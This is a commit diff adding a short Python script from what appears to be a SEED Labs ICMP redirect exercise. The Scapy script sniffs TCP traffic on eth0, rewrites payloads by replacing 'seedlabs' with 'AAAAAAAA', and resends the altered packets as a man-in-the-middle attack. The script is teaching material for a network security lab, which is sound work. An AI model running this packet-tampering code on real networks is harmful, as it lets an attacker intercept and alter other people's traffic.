first commit

ICMP_Directing/Labsetup/mitm_sample.py

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+#!/usr/bin/env python3
+from scapy.all import *
+
+print("LAUNCHING MITM ATTACK.........")
+
+def spoof_pkt(pkt):
+   newpkt = IP(bytes(pkt[IP]))
+   del(newpkt.chksum)
+   del(newpkt[TCP].payload)
+   del(newpkt[TCP].chksum)
+
+   if pkt[TCP].payload:
+       data = pkt[TCP].payload.load
+       print("*** %s, length: %d" % (data, len(data)))
+
+       # Replace a pattern
+       newdata = data.replace(b'seedlabs', b'AAAAAAAA')
+
+       send(newpkt/newdata)
+   else: 
+       send(newpkt)
+
+f = 'tcp' 
+pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
+